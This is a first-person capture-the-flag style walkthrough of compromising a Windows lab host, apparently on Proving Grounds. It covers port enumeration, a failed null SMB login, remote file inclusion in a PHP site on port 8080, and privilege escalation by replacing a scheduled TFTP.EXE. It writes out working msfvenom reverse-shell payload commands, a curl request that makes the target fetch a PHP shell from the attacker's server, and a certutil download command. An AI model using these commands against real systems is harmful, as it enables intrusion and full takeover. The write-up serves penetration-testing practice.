Results show that it's a windows device due to all the msrpc ports open.

Also 445 is SMB

Zenith AI analysis:

FileZilla FTP Server 0.9.41 beta (Port 21):

FileZilla version 0.9.41 is a beta version, which means it might not be stable and may contain undiscovered vulnerabilities. It is advisable to update to a stable version.

Microsoft Windows RPC (Ports 135, 49664-49669):

Remote Procedure Call (RPC) services are known to have potential vulnerabilities that can be exploited, such as buffer overflows, DoS attacks, or unauthorized access.

NetBIOS-ssn (Port 139) and Microsoft-ds (Port 445):

These services are used for file sharing and are associated with the SMB protocol. Vulnerabilities in these services can lead to unauthorized access or information disclosure, such as the EternalBlue exploit.

MySQL/MariaDB (Port 3306):

The MariaDB server is restricting access from the host '192.168.49.53'. Weak configurations and outdated versions can lead to vulnerabilities like SQL injection, privilege escalation, and information disclosure.

Apache HTTP Server 2.4.43 with OpenSSL/1.1.1g and PHP/7.4.6 (Ports 4443 and 8080):

Apache, OpenSSL, and PHP are well-known software with various vulnerabilities, depending on the version and configuration. The server might be susceptible to attacks like cross-site scripting (XSS), remote code execution, or man-in-the-middle (MITM) attacks if not configured properly.

Pando-pub? (Port 7680):

The service running on this port is not identified, which may warrant further investigation.

SMB Security Mode:

The SMB configuration allows message signing, but it is not required, which could expose the host to man-in-the-middle (MITM) attacks.

So now to check the versions for vulns.

Welp DOS won't get root so onto the next.

Maybe SMB fileshare client as an Anon / Null user?

??$ smbclient -L //192.168.53.53

Password for [WORKGROUP\kali]:

session setup failed: NT_STATUS_ACCESS_DENIED

I mean it was worth a shot. You know sometimes the easiest way into a treasure trove is through the front door 😆

Now to check the web pages on 443 and 8080 to see if there are websites since there's a Maria database on 3306 so it may be worth seeing if I can edit it through the sites

443 on https didn't load but 8080 did

Time to rip it apart. using grep since I don't want spam on 400 status codes

Will hit up parent directories first then children if needed. Mass open site, dashboard, and img.

Well img is sus since it shows the files like that.

Also site is sketch since it references the page as a .php file via local file inclusion LFI so maybe I can grab other things that arent local?

My IP is 192.168.49.53 so I'll try a netcat nc reverse listener

Catch: sudo nc -nlvp 80
Send: curl http://192.168.53.53:8080/site/index.php?page=http://192.168.49.53/hola

Also wow the proving grounds default Kali is so slow. Will need to VPN in and do these on my own kali since this is ridiculous

Well the target system spoke spanish but no "Hola! Como Estas?" /hola page from me thus the connection closed.

At least it can connect to an attack box and try to pull a page so now to have it pull a reverse shell from me.

Weaponization

I read somewhere that it's best to first pull a script that isn't the reverse shell but a page that then downloads the rev shell once it's already been downloaded to the target server. Since the target webserver reads php we'll match format and give it a php file.

Let's craft the reverse shell via venom

Since target is running a php site we'll use a php reverse shell. Also since 445 is open we can use that as a listening port since it is already open and won't be easily blocked.

msfvenom -p php/reverse_php LHOST=192.168.49.53 LPORT=445 > reverse.php

Exploit

Now to set up a http server so target can actually download them:

python3 -m http.server 80

curl http://192.168.53.53:8080/site/index.php?page=http://192.168.49.53/reverse.php

And I'm in. Remember to use "type" to read files in windows

Run every 5 minutes:

C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txt

TFTP.exe runs every 5 minutes and probably runs with system privileges

I'll replace TFTP.exe with my own version for a more privileged shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.53 LPORT=445 -f exe -o TFTP.EXE

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 324 bytes

Final size of exe file: 73802 bytes

Saved as: TFTP.EXE

It's normal to have 10's of thousands of bytes of bloat bs since it's windows.

Now to download new TFTP.EXE file

certutil.exe -f -urlcache -split http://192.168.49.53:80/TFTP.EXE

Got 200 codes from my http server for the new .exe so now make a new listener and wait for the connection to catch for a system level root before looking for the system level flags.

And GOTEM
